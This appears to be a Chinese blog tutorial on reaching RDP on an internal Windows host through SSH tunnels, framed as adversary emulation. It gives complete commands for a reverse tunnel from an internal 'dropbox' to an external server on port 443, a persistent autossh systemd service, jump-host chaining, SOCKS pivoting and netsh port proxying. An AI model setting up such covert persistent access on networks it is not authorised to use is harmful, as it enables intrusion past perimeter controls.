通过SSH隧道实现RDP连接的完整指南

通过SSH隧道实现RDP连接的完整指南

场景概述

本文记录通过SSH连接设置RDP访问的完整流程。虽然使用"攻击者"和"目标"等术语(因工作涉及对抗模拟),但这些技术同样适用于系统管理任务。

场景一:Linux中继到内部Windows目标

网络拓扑

  • 攻击者系统:位于内部网络的Windows机器
  • 外部系统:互联网上的Linux服务器(IP:208.8.8.8,SSH端口443)
  • 中继设备(Dropbox):内部网络的Linux机器(SSH端口22)
  • 目标系统:内部Windows机器(RDP端口3389,IP:10.2.2.222)

认证配置

所有SSH认证使用公钥/私钥对:

  • 中继设备私钥:db.key
  • 攻击者私钥:at.ppk(Putty格式)或at.key

建立反向SSH隧道

从中继设备连接到外部系统并设置反向端口转发:

ssh -i ~/.ssh/db.key -p 443 -R 5001:localhost:22 root@208.8.8.8

持久化连接

使用autossh确保连接稳定:

autossh -M 0 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 \
        -o ExitOnForwardFailure=yes -i ~/.ssh/db.key -p 443 \
        -R 5001:localhost:22 root@208.8.8.8

创建systemd服务

创建/etc/systemd/system/autossh.service文件:

[Unit]
Description=Keeps a tunnel to External server open
Requires=network-online.target
After=network-online.target

[Service]
User=root
Environment="AUTOSSH_GATETIME=0"
ExecStart=/usr/bin/autossh -M 0 -N -o ServerAliveInterval=30 \
          -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes \
          -i /root/.ssh/db.key -p 443 -R 5001:localhost:22 root@208.8.8.8

[Install]
WantedBy=multi-user.target

启用并启动服务:

sudo systemctl daemon-reload
sudo systemctl start autossh.service
sudo systemctl enable autossh.service
sudo systemctl enable ssh

攻击者连接配置

设置环境变量:

set EXTERNAL_IP=208.8.8.8
set TARGET_IP=10.2.2.222

使用plink建立连接:

plink -i at.ppk root@%EXTERNAL_IP% -P 5001 -L 3390:%TARGET_IP%:3389 \
      -proxycmd "plink root@%EXTERNAL_IP% -P 443 -i at.ppk -nc 127.0.0.1:5001"

RDP连接

使用Windows RDP客户端连接到:

localhost:3390

SOCKS代理配置

建立动态SOCKS代理:

plink -i at.ppk root@%EXTERNAL_IP% -P 5001 -D 9999 \
      -proxycmd "plink root@%EXTERNAL_IP% -P 443 -i at.ppk -nc 127.0.0.1:5001"

配置浏览器使用SOCKS v5代理:localhost:9999,并启用"Proxy DNS when using SOCKS v5"。

场景二:Linux攻击者系统

SSH连接命令

EXTERNAL_IP=208.8.8.8
TARGET_IP=10.2.2.222
ssh -i at.key root@127.0.0.1 -p 5001 -L 3390:$TARGET_IP:3389 -J root@$EXTERNAL_IP:443

SSH配置文件

编辑/root/.ssh/config:

Host external
  Hostname 208.8.8.8
  User root
  Port 443
  IdentityFile ~/.ssh/at.key

Host dropbox
  Hostname 127.0.0.1
  User root
  Port 5001
  ProxyCommand ssh external -W %h:%p
  IdentityFile ~/.ssh/at.key

简化连接命令:

ssh -L 3390:$TARGET_IP:3389 dropbox

RDP客户端连接

使用xfreerdp:

xfreerdp /u:carrie /v:127.0.0.1:3390
# 域用户
xfreerdp /u:intdomain\carrie /v:127.0.0.1:3390

场景三:Windows中继设备

端口代理配置

以管理员身份运行:

netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 \
listenport=3390 connectaddress=10.2.2.222 connectport=3389

中继设备连接

set EXTERNAL_IP=208.8.8.8
plink -i at.ppk root@%EXTERNAL_IP% -P 443 -L 5001:127.0.0.1:3390

攻击者连接

TARGET_IP=10.2.2.222
ssh -L 3390:$TARGET_IP:3389 dropbox

浏览器访问配置

无需管理员权限,直接建立SOCKS代理:

ssh -D 9999 dropbox

配置浏览器使用localhost:9999 SOCKS代理即可浏览目标内网。


更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值